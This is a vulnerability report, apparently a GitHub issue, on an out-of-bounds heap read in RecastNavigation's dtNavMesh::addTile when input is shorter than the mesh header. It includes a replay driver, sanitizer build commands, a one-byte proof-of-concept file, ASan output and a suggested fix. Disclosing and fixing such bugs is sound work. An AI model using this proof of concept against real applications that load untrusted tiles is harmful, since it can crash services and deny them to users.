[Bug]dtNavMesh::addTile heap out-of-bounds read on short input (no dataSize check when reading dtMeshHeader::magic) (CWE-125)
Summary
dtNavMesh::addTile casts the raw input buffer to dtMeshHeader* and dereferences header->magic / header->version at Detour/Source/DetourNavMesh.cpp:919 without any dataSize check. A 1-byte input (0x44, ASCII D) makes the function read 4 bytes — 3 bytes past the end of the 1-byte heap allocation. AddressSanitizer reports a heap-buffer-overflow READ of size 4 at addTile. Any application that calls the public addTile API on non-curated data (a network-received tile, a savegame, or a user-provided .nav file) triggers the OOB read deterministically.
- Affected versions: RecastNavigation master
9f4ce64458dfae86e1239c525ddc219c4e9e06f1(all releases to date) - Severity: High
- CWE: CWE-125 (Out-of-bounds Read)
Detail
Affected code
dtStatus dtNavMesh::addTile(unsigned char* data, int dataSize, int flags,
dtTileRef lastRef, dtTileRef* result)
{
// Make sure the data is in right format.
dtMeshHeader* header = (dtMeshHeader*)data; /* <-- no dataSize >= sizeof(dtMeshHeader) check */
if (header->magic != DT_NAVMESH_MAGIC) /* line 919: READ of header->magic */
return DT_FAILURE | DT_WRONG_MAGIC;
if (header->version != DT_NAVMESH_VERSION)
return DT_FAILURE | DT_WRONG_VERSION;
...
}Root cause: addTile trusts that dataSize is at least sizeof(dtMeshHeader) (52 bytes). data is reinterpret_cast to dtMeshHeader* and magic is dereferenced immediately. If dataSize < 4 the read of magic is already OOB; with dataSize < 52 subsequent fields are all read past the end. The function validates magic/version after the dereference, so validation cannot prevent the OOB read itself.
Build the reproducer
- Clone RecastNavigation and check out the affected commit:
git clone https://github.com/recastnavigation/recastnavigation.git
cd recastnavigation
git checkout 9f4ce64458dfae86e1239c525ddc219c4e9e06f1- Save this standalone replay driver as
dbg_addtile.cpp(calls the publicdtNavMesh::addTileAPI on every file argument):
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <vector>
#include "DetourNavMesh.h"
int main(int argc, char** argv) {
for (int i = 1; i < argc; ++i) {
FILE* f = fopen(argv[i], "rb");
if (!f) return 2;
fseek(f, 0, SEEK_END); long n = ftell(f); rewind(f);
std::vector<unsigned char> buf((size_t)n);
fread(buf.data(), 1, (size_t)n, f);
fclose(f);
dtNavMesh mesh;
dtNavMeshParams params;
memset(¶ms, 0, sizeof(params));
params.tileWidth = 1.0f; params.tileHeight = 1.0f;
params.maxTiles = 8; params.maxPolys = 64;
dtStatus is = mesh.init(¶ms);
printf("=== %s (%ld B) init=%08x ", argv[i], n, is);
unsigned char* b = (unsigned char*)malloc(n);
memcpy(b, buf.data(), n);
dtTileRef result = 0;
dtStatus st = mesh.addTile(b, (int)n, 0, 0, &result);
printf("addTile=%08x result=%08x\n", st, result);
free(b);
}
return 0;
}- Compile with ASan + UBSan (
dbg_addtile):
clang++ -std=c++11 -fno-rtti -fno-exceptions -fsanitize=address,undefined -g \
-I Detour/Include dbg_addtile.cpp \
Detour/Source/DetourAlloc.cpp Detour/Source/DetourAssert.cpp \
Detour/Source/DetourCommon.cpp Detour/Source/DetourNavMesh.cpp \
Detour/Source/DetourNavMeshBuilder.cpp Detour/Source/DetourNavMeshQuery.cpp \
Detour/Source/DetourNode.cpp -o dbg_addtileFor a pure-UBSan report of the UB findings, build a second binary without ASan and with the trap flags:
clang++ -std=c++11 -fno-rtti -fno-exceptions -fsanitize=undefined -fno-sanitize-recover=all -g \
-I Detour/Include dbg_addtile.cpp \
Detour/Source/DetourAlloc.cpp Detour/Source/DetourAssert.cpp \
Detour/Source/DetourCommon.cpp Detour/Source/DetourNavMesh.cpp \
Detour/Source/DetourNavMeshBuilder.cpp Detour/Source/DetourNode.cpp \
-o dbg_addtile_ubonlyPOC (tested on the unmodified source)
Save the 1-byte POC:
python3 -c "open('poc.bin','wb').write(bytes.fromhex('44'))"Run:
./dbg_addtile poc.binTrigger result
Verified on the unmodified source (AddressSanitizer):
=================================================================
==3111852==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000050 at pc 0x5559302c7c86 bp 0x7ffff3c8d4b0 sp 0x7ffff3c8d4a8
READ of size 4 at 0x602000000050 thread T0
#0 0x5559302c7c85 in dtNavMesh::addTile(unsigned char*, int, int, unsigned int, unsigned int*) .../Detour/Source/DetourNavMesh.cpp:919:14
#1 0x5559302b1b4d in main .../dbg_addtile.cpp:25:28
#2 0x7f19609d2d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
0x602000000051 is located 0 bytes to the right of 1-byte region [0x602000000050,0x602000000051)
allocated by thread T0 here:
#0 0x55593027421e in malloc (...)
SUMMARY: AddressSanitizer: heap-buffer-overflow .../Detour/Source/DetourNavMesh.cpp:919:14 in dtNavMesh::addTile(unsigned char*, int, int, unsigned int, unsigned int*)- Replay exit code:
1(abort/trap) - Deterministic: yes — 1 crash sample(s) (id:000000) all reproduce the same root cause
Suggested fix
Validate dataSize before dereferencing the header:
if (dataSize < (int)sizeof(dtMeshHeader))
return DT_FAILURE | DT_INVALID_PARAM;
dtMeshHeader* header = (dtMeshHeader*)data;A matching check should guard every dtGetThenAdvanceBufferPointer slice derived from attacker-controlled header count fields so the whole addTile parse is bounded by dataSize.
Source: recastnavigation/recastnavigation